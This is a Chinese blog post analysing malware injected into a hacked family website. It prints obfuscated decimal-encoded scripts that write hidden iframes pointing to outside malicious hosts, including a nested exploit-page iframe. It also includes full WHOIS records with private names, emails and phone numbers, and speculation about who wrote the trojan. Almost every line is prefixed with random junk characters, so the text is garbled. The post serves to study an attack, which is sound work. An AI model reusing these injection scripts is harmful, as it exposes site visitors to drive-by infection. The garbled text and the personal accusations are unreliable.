首发在我的博客里面，
:}SR{}]yXs &s\,+d0 http://www.areway.cn/?p=175 F[v^43-^_ 0q1 +5 h=NXU9n%' 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
wlP%
U V*6& GM& <script>t=’60,105,102,114,97,109,101,
%uP/v\l 32,115,114,99,61,104,116,116,112,58,47,47,
A>:31C 102,114,101,101,46,117,45,117,117,117,46,99,
M&/e*Ta5 110,47,101,114,114,111,114,46,104,116,109,
to\$'2F"q 32,119,105,100,116,104,61,49,48,48,32,104,
hGUQdTNP 101,105,103,104,116,61,48,62,60,47,105,102,
yN#]Q}4 114,97,109,101,62′;
D9r ;Ys% t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
oJ=u
pnBn- c8cGIAOY) <script>t=’60,105,102,114,97,109,101,32,115,
7tY~8gQel 114,99,61,104,116,116,112,58,47,47,102,114,
,fm{
krE 101,101,46,117,45,117,117,117,46,99,110,47,
B=%YD"FAv 101,114,114,111,114,46,104,116,109,32,119,
bXHtw} n 105,100,116,104,61,49,48,48,32,104,101,105,
CTX%~1 _`O 103,104,116,61,48,62,60,47,105,102,114,97,
MY&?*pV) 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
"1ZV uI document.write(t);</script>
kN vN V(4 rN {5^+w <html xmlns=”
ia-&? http://www.w3.org/1999/xhtml Nn5sD3z# “>
yv5 c0G.D <head>
@y# u!} <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
^D R`!.ttr <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
.noY[P 8i <title>首页 - 爱生活家庭网
Lb2/ T e* -n$hm +S 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
K5d>{c 转换字符串后的大概内容是（谁点击后果自付）：
Sj4 @pMh4 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
YW- Ge 3],[ 6%w 查询玉米u-uuu.cn的详细信息：
N8]d0 Domain Name: u-uuu.cn
54&&=NVs| ROID: 20070901s10001s64972306-cn
\OF" hPq Domain Status: ok
wQ9fPOm Registrant Organization: 王雷
5CM]-qbf@ Registrant Name: 王雷
`"E<%$|ZQy Administrative Email:
czlovexs@126.com 2` h Sponsoring Registrar: 北京万网志成科技有限公司
[UaM}-eR Name Server:ns.yovole.com
|Iq\ZX%q Name Server:ns1.yovole.com
WS?"OTH.^\ Registration Date: 2007-09-01 17:54
@] ` _+\y Expiration Date: 2008-09-01 17:54
,KHebv ! 最后PING了一下地址 都没有什么….
hI{M?LQd n2$(MDdL` 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
!!4` #Z0+# <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
s*k[Fbi <script language=”javascript” src=”
k_ ;+z http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script |lOH
P A >
w{1DwCLKq 这个玉米应该有可能是木马作者的：
E6
2{sA^ foafau.info的详细信息：
O%.c%)4Xo Access to INFO WHOIS information is provided to assist persons in
2O^7zW determining the contents of a domain name registration record in the
O *dN+o Afilias registry database. The data in this record is provided by
&xG>"sJ Afilias Limited for informational purposes only, and Afilias does not
Oq`CK f guarantee its accuracy. This service is intended only for query-based
// k` X access. You agree that you will use this data only for lawful purposes
j[ fE^& and that, under no circumstances will you use this data to: (a) allow,
8 q}955Nl enable, or otherwise support the transmission by e-mail, telephone, or
m@,u&9K facsimile of mass unsolicited, commercial advertising or solicitations
4#^E$N: to entities other than the data recipient’s own existing customers; or
SsY :gp_ (b) enable high volume, automated, electronic processes that send
++gWyzD queries or data to the systems of Registry Operator, a Registrar, or
/WxCsQn Afilias except as reasonably necessary to register domain names or
J,W<vrKOcN modify existing registrations. All rights reserved. Afilias reserves
K Y=$RO the right to modify these terms at any time. By submitting this query,
0XSMby?t` you agree to abide by this policy.
p.ks
jD Domain ID:D22418703-LRMS
_{
Np _ (g Domain Name:FOAFAU.INFO
-$A
>b8 Created On:20-Nov-2007 16:05:42 UTC
_ ;!$1lM[ Last Updated On:20-Nov-2007 16:05:44 UTC
)wM881_! Expiration Date:20-Nov-2008 16:05:42 UTC
u]766<Z Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
59l9^<{A Status:CLIENT DELETE PROHIBITED
gb^<6BYUG Status:CLIENT RENEW PROHIBITED
* YR>u @ Status:CLIENT TRANSFER PROHIBITED
X8 x:/]/0 Status:CLIENT UPDATE PROHIBITED
(BZd%! Status:TRANSFER PROHIBITED
8.tp#x,A Registrant ID:GODA-040110615
[g@ .dr3t Registrant Name:liu hong
0GcOI} Registrant Organization:
RX ,c 4; Registrant Street1:beijing
n=%D}W Registrant Street2:
b/&{:g!B Registrant Street3:
S<Uv/pn Registrant City:beijing
N3&n"w _d Registrant State/Province:
HC
RmW' Registrant Postal Code:100000
T%@qlEmf Registrant Country:CN
D)J'x G_<O Registrant Phone:+86.860108888777
7DB!s@"
Registrant Phone Ext.:
DX<xkS[P Registrant FAX:
7s2e> 6Q [ Registrant FAX Ext.:
s AlOX` t Registrant Email:bbbshiji@163.com
;f~z_3g Admin ID:GODA-240110615
"/zDcZbL; Admin Name:liu hong
{p7b\=WB- Admin Organization:
jHM}({)- Admin Street1:beijing
+KHk`2{y~ Admin Street2:
#yR@.&P Admin Street3:
3R[,,WAj$ Admin City:beijing
cB2jf </ Admin State/Province:
F!&_ Admin Postal Code:100000
ZN-5W|' O Admin Country:CN
d>jRw Admin Phone:+86.860108888777
!_LRuqQ?" Admin Phone Ext.:
n Y=]K U Admin FAX:
F(+dX4$ Admin FAX Ext.:
S0-/ 9h Admin Email:bbbshiji@163.com
he1OLk
Billing ID:GODA-340110615
Tz 2<# pLR Billing Name:liu hong
A]mXV4RmI Billing Organization:
6j = a Billing Street1:beijing
2 NrM se Billing Street2:
S1a}9Z| Billing Street3:
r d4\N2- 6 Billing City:beijing
cb9q0sdf Billing State/Province:
"\u_gk{g Billing Postal Code:100000
<aEY=IF4 Billing Country:CN
z\Y-8a.] Billing Phone:+86.860108888777
<-m?l6 Billing Phone Ext.:
kpt 0spp Billing FAX:
"N4rh<< Billing FAX Ext.:
LG3:V'| Billing Email:bbbshiji@163.com
9t^Q_ [hG Tech ID:GODA-140110615
4'ymPPY Tech Name:liu hong
vTF_`X Tech Organization:
wa}\bNKQk Tech Street1:beijing
K\]I@UTwq Tech Street2:
2V 9vS Tech Street3:
6Jf\}^4@k Tech City:beijing
KZ}F1Mr Tech State/Province:
} I;5yk,o Tech Postal Code:100000
}n91aE3 v Tech Country:CN
Sxw%6Va]p Tech Phone:+86.860108888777
zIjUfgO/M Tech Phone Ext.:
=7WE Tech FAX:
9e:}q O5) Tech FAX Ext.:
EO[U ezuU Tech Email:bbbshiji@163.com
t!"XQ$g' Name Server:NS27.DOMAINCONTROL.COM
A& ~<qgBTp Name Server:NS28.DOMAINCONTROL.COM
;\5^yDv[e Name Server:
"L p"o Name Server:
v<qiu>sbz} Name Server:
NhDM h8=$^ Name Server:
rZBOWT Name Server:
ird
q51{G Name Server:
d\{#*{_A Name Server:
;f 8$vW ]; Name Server:
u*NU MT2 Name Server:
C/!c? $J Name Server:
n^7$ST#'bV Name Server:
m%hUvG| i 3)J0f+M>dv 接着下载每个文件里面的代码：
#iot.alNA 一步一步看..
`j u r`^S| 
G'>z~I]6S 
lTh}0t 
:%?\Wj5HW 
mQOYjy3 
9x~qcH% 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
